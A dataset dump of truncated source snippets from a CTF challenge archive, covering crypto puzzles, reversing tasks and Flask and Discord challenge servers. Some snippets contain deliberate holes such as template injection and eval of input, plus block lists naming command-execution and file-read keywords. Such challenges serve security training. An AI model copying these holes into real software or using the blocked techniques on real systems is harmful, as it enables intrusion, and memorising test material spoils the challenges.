https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/GiveMeABag/givemeabag.py
ctfs/Srdnlen/2022/crypto/GiveMeABag/givemeabag.py
from random import randint from math import gcd from secret import FLAG BIN_LEN = 240 class MHK: def __init__(self): self.b = [] self.w = [] self.q = 0 self.r = 0 self.genKeys() def genKeys(self): k = 30 self.w.append(randint(1,2**(k//2))) ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Srdnlen/2022/crypto/OneFlagPadding/oneflagpadding.py
ctfs/Srdnlen/2022/crypto/OneFlagPadding/oneflagpadding.py
#!/usr/bin/env python3 import random import string from Crypto.Util.number import getPrime, bytes_to_long def flag_padding(flag): s = string.ascii_lowercase + string.ascii_uppercase + string.digits for i in range(random.randint(5, 10)): flag = random.choice(s) + flag + random.choice(s) return fla...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DeconstruCT.F/2021/crypto/Code_Decode/encrypter.py
ctfs/DeconstruCT.F/2021/crypto/Code_Decode/encrypter.py
from random import choice inputstring = input("Enter plaintext: ") def read_encryption_details(): with open("cypher.txt") as file: encrypt_text = eval(file.read()) encrypt_key = choice(list(encrypt_text.keys())) character_key = encrypt_text[encrypt_key] return encrypt_key, character_k...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/Addition/server.py
ctfs/n00bzCTF/2024/misc/Addition/server.py
import time import random questions = int(input("how many questions do you want to answer? ")) for i in range(questions): a = random.randint(0, 10) b = random.randint(0, 10) yourans = int(input("what is " + str(a) + ' + ' + str(b) + ' = ')) print("calculating") totaltime = pow(2, i) print(...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/WaaS/chall.py
ctfs/n00bzCTF/2024/misc/WaaS/chall.py
import subprocess from base64 import b64decode as d while True: print("[1] Write to a file\n[2] Get the flag\n[3] Exit") try: inp = int(input("Choice: ").strip()) except: print("Invalid input!") exit(0) if inp == 1: file = input("Enter file name: ").strip() assert file.count('.') <= 2 # Why do you need mo...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/misc/Subtraction/server.py
ctfs/n00bzCTF/2024/misc/Subtraction/server.py
import random n = 696969 a = [] for i in range(n): a.append(random.randint(0, n)) a[i] -= a[i] % 2 print(' '.join(list(map(str, a)))) for turns in range(20): c = int(input()) for i in range(n): a[i] = abs(c - a[i]) if len(set(a)) == 1: print(open('/flag.txt', 'r').read()) ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/ppc/Back_From_Brazil/redacted.py
ctfs/n00bzCTF/2024/ppc/Back_From_Brazil/redacted.py
import random, time def solve(eggs): redactedscript = """ β–ˆ β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆ β–ˆβ–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ β–ˆ β–ˆβ–ˆ β–ˆβ–ˆ ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/ppc/Sillygoose/sillygoose.py
ctfs/n00bzCTF/2024/ppc/Sillygoose/sillygoose.py
from random import randint import time ans = randint(0, pow(10, 100)) start_time = int(time.time()) turns = 0 while True: turns += 1 inp = input() if int(time.time()) > start_time + 60: print("you ran out of time you silly goose") break if "q" in inp: print("you are no fun you ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/crypto/Vinegar_2/chall.py
ctfs/n00bzCTF/2024/crypto/Vinegar_2/chall.py
alphanumerical = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*(){}_?' matrix = [] for i in alphanumerical: matrix.append([i]) idx=0 for i in alphanumerical: matrix[idx][0] = (alphanumerical[idx:len(alphanumerical)]+alphanumerical[0:idx]) idx += 1 flag=open('../src/flag.txt').read().strip(...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2024/web/Passwordless/app.py
ctfs/n00bzCTF/2024/web/Passwordless/app.py
#!/usr/bin/env python3 from flask import Flask, request, redirect, render_template, render_template_string import subprocess import urllib import uuid global leet app = Flask(__name__) flag = open('/flag.txt').read() leet=uuid.UUID('13371337-1337-1337-1337-133713371337') @app.route('/',methods=['GET','POST']) def mai...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/crypto/MaaS/chall.py
ctfs/n00bzCTF/2023/crypto/MaaS/chall.py
#!/usr/bin/python3 import random from Crypto.Util.number import * flag = open('flag.txt').read() alpha = 'abcdefghijklmnopqrstuvwxyz'.upper() to_guess = '' for i in range(16): to_guess += random.choice(alpha) for i in range(len(to_guess)): for j in range(3): inp = int(input(f'Guessing letter {i}, Enter Guess: ')) ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/CaaS/server.py
ctfs/n00bzCTF/2023/web/CaaS/server.py
#!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','g...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/Conditions/server.py
ctfs/n00bzCTF/2023/web/Conditions/server.py
from flask import Flask, request, render_template, render_template_string, redirect import subprocess import urllib flag = open('flag.txt').read() app = Flask(__name__) @app.route('/') def main(): return redirect('/login') @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'GET': ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/n00bzCTF/2023/web/CaaS2/server.py
ctfs/n00bzCTF/2023/web/CaaS2/server.py
#!/usr/bin/env python3 from flask import Flask, request, render_template, render_template_string, redirect import urllib app = Flask(__name__) def blacklist(inp): blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','r...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/QUESTCON/2024/rev/Twice_the_Trouble/magnitude.py
ctfs/QUESTCON/2024/rev/Twice_the_Trouble/magnitude.py
import math import random def xor_encrypt_decrypt(input_str, key): return ''.join(chr(ord(c) ^ key) for c in input_str) def get_flag(): # XOR-encoded flag encoded_flag = [92, 88, 72, 94, 89, 78, 66, 67, 118, 105, 61, 120, 111, 97, 62, 82, 121, 127, 61, 120, 111, 97, 62, 112] key = 13 # XOR key used f...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/QUESTCON/2024/rev/Unlock_the_Encrypted_Flag/encrypted.flag.py
ctfs/QUESTCON/2024/rev/Unlock_the_Encrypted_Flag/encrypted.flag.py
### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ######################## def str_xor(secret, key): new_key = key i = 0 while len(new_key) < len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c, new...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/fiend/fiend.py
ctfs/OMH/2021/crypto/fiend/fiend.py
import base64 import hashlib import os import sys from datetime import datetime from Crypto.Cipher import AES def encrypt(data, key, iv): encryptor = AES.new(key, AES.MODE_CBC, IV=iv) return encryptor.encrypt(data) def pad(data): missing = 16 - len(data) % 16 return data + (chr(missing) * missing)....
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/cry_for_help/cry_for_help.py
ctfs/OMH/2021/crypto/cry_for_help/cry_for_help.py
import random import flag import collections import os import pow def xorshift64(x): x ^= (x << 13) & 0xffffffffffffffff x ^= (x >> 7) & 0xffffffffffffffff x ^= (x << 17) & 0xffffffffffffffff return x def main(): r = os.urandom(10) random.seed(r) SEEDS = 18 seed = input("give me the seed: ") seed = seed.st...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/almost_perfect/almost_perfect.py
ctfs/OMH/2021/crypto/almost_perfect/almost_perfect.py
import random import string key_len = 14 def ensure_perfect_secrecy(data): assert all([len(c) <= key_len for c in data]) def encrypt(word, key): shifts = [ord(k) - ord('a') for k in key] pt = [ord(c) - ord('a') for c in word] return ''.join([chr(((p + shifts[i]) % len(string.ascii_lowercase)) + ord...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/jamal/jamal.py
ctfs/OMH/2021/crypto/jamal/jamal.py
import jamal_secrets from Crypto.Random.random import randrange from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes p = 23913162461506241913954601592637284046163153526897774745274721709391995411082414294401609291264387860355671317653627011946189434760951108211821677155027175527596657912855025319457656...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/cheap_mithril/chall.py
ctfs/Jade/2022/crypto/cheap_mithril/chall.py
import random from Crypto.Util.number import * from secret import flag flag = int.from_bytes(flag, "big") nbits, rbits = 256, 240 e = 65537 while True: p = getPrime(nbits) q = getPrime(nbits) N = p * q tot = N + 1 - (p + q) if GCD(e, tot) == 1: d = inverse(e, tot) break # dirty m...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/peepin_over/chall.py
ctfs/Jade/2022/crypto/peepin_over/chall.py
from os import urandom from lib51 import LFSR from secret import msg, alex, tom key = list(urandom(8)) iv = int.from_bytes(urandom(2), 'little') % 4096 strm = LFSR(key, iv) y = 0 for i in range(len(msg) * 8): y <<= 1 y |= strm.getbit() print(f"enc -> {int(msg.hex(), 16) ^ y :0x}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/peepin_over/lib51.py
ctfs/Jade/2022/crypto/peepin_over/lib51.py
from dataclasses import dataclass from functools import reduce @dataclass class register: name: str val: int mid: int mask: int taps: int out: int def parity(r): cn = 0 while r: r &= (r - 1) cn += 1 return cn & 1 class LFSR: def __init__(self, key, i...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2021/crypto/babyXORSA/chall.py
ctfs/DigitalOverdose/2021/crypto/babyXORSA/chall.py
from Crypto.Util.number import * from secret import flag p, q = getPrime(1333), getPrime(1333) assert (p-1) % 1333 != 0 and (q-1) % 1333 != 0 mod = 1 << (3 * 333) hint = (p % mod) ^ (q % mod) enc = pow(bytes_to_long(flag), 1333, p * q) print("N = {}".format(p * q)) print("hint = {}".format(hint)) print("enc = {}".f...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2021/crypto/Reused_Key_Attack/chall.py
ctfs/DigitalOverdose/2021/crypto/Reused_Key_Attack/chall.py
import os import hashlib import random from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Random.random import getrandbits from secret import flag class LFSR: def __init__(self, key, taps): d = max(taps) assert len(key) == d, "Error: key of wrong size." self._s = key self._t = [d - ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/EEVEE_Cipher/EEVEE_Challenge.py
ctfs/DigitalOverdose/2022/crypto/EEVEE_Cipher/EEVEE_Challenge.py
# Author : Koopaenhiver # April 2022 import math # The EEVEE Cipher (Extremely EVolutive Experimental Encryption) : # Key : List of pairs of eeveelutions (8 possibilities). Repeat key if needed. # Encryption : Shuffling octets according to eeveelutions stats repartition # Encrypt 6 bytes by 6 bytes. # Message is ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/Nintendhash/ninhash.py
ctfs/DigitalOverdose/2022/crypto/Nintendhash/ninhash.py
""" Author : @koopaenhiver """ import hashlib ninlist1 = ["", "The Legend of ", "Super ", "Paper ", "Final ", "Tales of ", \ "Star ", "Call of "] ninlist2 = ["Zelda", "Link", "Pokemon", "Pikachu", "Mario", "Luigi", \ "Metroid", "Samus", "Fire Emblem", "Donkey Kong", "Smash Bros.", \ ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/Nintendhash/CTF_Nintendhash_starter_pack.py
ctfs/DigitalOverdose/2022/crypto/Nintendhash/CTF_Nintendhash_starter_pack.py
import hashlib import ninhash """ To use the Nintendhash hashing function, just call ninhash.Nintendhash(bytestring), with bytestring being a... byte string. Here's an example if needed : print("This is an example of message and digest with Nintendhash : ") message = b"Are you sure this hash function is secure ?" pri...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/LightningSeeds/encrypt.py
ctfs/DigitalOverdose/2022/crypto/LightningSeeds/encrypt.py
#!/usr/bin/env python3 import random with open('flag.txt', 'r') as f: flag = f.read() seed = random.randint(0,999) random.seed(seed) encrypted = ''.join(f'{(ord(c) ^ random.randint(0,255)):02x}' for c in flag) with open('out.txt', 'w') as f: f.write(encrypted)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/disco_dance/server.py
ctfs/CTF@AC/2025/Quals/misc/disco_dance/server.py
import socket, os, time, random, binascii,requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Hash import SHA256 from Crypto.Random import get_random_bytes import base64 fd=os.open("/opt/app/random", os.O_RDONLY) def get_random() -> bytes: url = f"https://proxy-gamma-steel-32.ver...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/disco_rave/server.py
ctfs/CTF@AC/2025/Quals/misc/disco_rave/server.py
import socket, os, time, random, binascii,requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Hash import SHA256 from Crypto.Random import get_random_bytes import base64 def get_random() -> bytes: channels = [ "1416908413375479891", "1417154025371209852", ] ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/octojail/main.py
ctfs/CTF@AC/2025/Quals/misc/octojail/main.py
#!/usr/bin/env python3 import io, os, re, sys, tarfile, importlib.util, signal OCTAL_RE = re.compile(r'^[0-7]+$') def to_bytes_from_octal_triplets(s: str) -> bytes: if not OCTAL_RE.fullmatch(s): sys.exit("invalid: only octal digits 0-7") if len(s) % 3 != 0: sys.exit("invalid: length must be m...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/pwn/sigdance/server.py
ctfs/CTF@AC/2025/Quals/pwn/sigdance/server.py
import socket import subprocess print("start", flush=True) listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True) listener.bind(('0.0.0.0', 12345)) listener.listen(5) print(listener.getsockname(), flush=True) try: while True: clien...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/crypto/XORbitant/enc.py
ctfs/CTF@AC/2025/Quals/crypto/XORbitant/enc.py
import os def xor(input_path: str, output_path: str): key = os.getenv("FLAG","CTF{example_flag}") key_bytes = key.encode("utf-8") key_len = len(key_bytes) with open(input_path, "rb") as infile, open(output_path, "wb") as outfile: chunk_size = 4096 i = 0 while chunk := infile....
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/crypto/neverending_randomness/server.py
ctfs/CTF@AC/2025/Quals/crypto/neverending_randomness/server.py
import socket, os, time, random, binascii fd=os.open("/opt/app/random", os.O_RDONLY) def seed_once(): data=b"" try: data=os.read(fd, 4096) except: data=b"" if len(data)>=2048: return int.from_bytes(data,"big") return (int(time.time()) ^ os.getpid()) def xor_bytes(a,b): ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/web/money/server.py
ctfs/CTF@AC/2025/Quals/web/money/server.py
from flask import Flask, request, jsonify, send_from_directory, redirect, url_for import os, uuid, zipfile, subprocess, json, time, html from Crypto.Cipher import AES from Crypto.Util.Padding import unpad app = Flask(__name__) BASE_DIR = "/opt/app" PLUGINS_DIR = os.path.join(BASE_DIR, "plugins") REGISTRY_PATH = os.path...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/misc/Modern_Latex/latexbot.py
ctfs/squ1rrel/2024/misc/Modern_Latex/latexbot.py
#!/usr/bin/env python import discord import urllib.request import random import os import json import shutil import asyncio import sys import chanrestrict LATEX_TEMPLATE="template.tex" blacklist = ["\\input", "\\include", "\\lstinputlisting", "\\usepackage", "\\verbatiminput", "\\openin", "\\newread", "\\read", "\\...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/rev/bf_golfing/server.py
ctfs/squ1rrel/2024/rev/bf_golfing/server.py
def run_brainfuck(code): if len(code) > 90: return "Error: Code length exceeds 90 characters." tape = [0] * 30000 ptr = 0 code_ptr = 0 output = [] brackets = [] max_steps = 200000 step_count = 0 while code_ptr < len(code) and step_count < max_steps: command = code[...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/crypto/Squ1rrel_Lottery/squ1rrel-lottery.py
ctfs/squ1rrel/2024/crypto/Squ1rrel_Lottery/squ1rrel-lottery.py
import random # user version def input_lines(): lines = [] print("Welcome to the squ1rrel lottery! 9 winning numbers will be selected, and if any of your tickets share 3 numbers with the winning ticket you'll win! Win 1000 times in a row to win a flag") for i in range(1, 41): while True: ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2024/crypto/squ1rrel_treasury/chall.py
ctfs/squ1rrel/2024/crypto/squ1rrel_treasury/chall.py
from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Util.strxor import strxor from Crypto.Cipher import AES import os from secrets import KEY, FLAG import random ACCOUNT_NAME_CHARS = set([chr(i) for i in range(ord('a'), ord('z')+1)] + [chr(i) for i in range(ord('A'), ord('Z')+1)]) FLAG_COST = rando...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/misc/Minesweeeeper/minesweeper.py
ctfs/squ1rrel/2025/misc/Minesweeeeper/minesweeper.py
import random from itertools import product from collections import deque dims = [20, 20, 5, 5] mine_count = 800 size = len(dims) def neighbors(cell, dim_sizes): result = [] for offset in product([-1, 0, 1], repeat=size): if any(offset): new_cell = tuple(cell[i] + offset[i] for i in range...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/fairy.py
ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/fairy.py
#!/usr/bin/python3 from elf import * from base64 import b64decode data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!")) elf = parse(data) for section in elf.sections: if section.sh_flags & SectionFlags.EXECINSTR: raise ValidationException("!!") elf.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/elf.py
ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_1/elf.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # mayhem/datatypes/elf.py # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this lis...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/fairy.py
ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/fairy.py
#!/usr/bin/python3 from elf import * from base64 import b64decode data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)")) elf = parse(data) if elf.header.e_type != constants.ET_EXEC: print("!!") exit(1) for segment in elf.segments: if segment.p_flags & Segment...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/elf.py
ctfs/squ1rrel/2025/pwn/Extremely_Lame_Filters_2/elf.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # mayhem/datatypes/elf.py # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this lis...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/crypto/Easy_RSA/rsa_easy.py
ctfs/squ1rrel/2025/crypto/Easy_RSA/rsa_easy.py
import random from sympy import nextprime, mod_inverse def gen_primes(bit_length, diff=2**32): p = nextprime(random.getrandbits(bit_length)) q = nextprime(p + random.randint(diff//2, diff)) return p, q def gen_keys(bit_length=1024): p, q = gen_primes(bit_length) n = p * q phi = (p - 1) * (q ...
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/crypto/Flat_Earth/server.py
ctfs/squ1rrel/2025/crypto/Flat_Earth/server.py
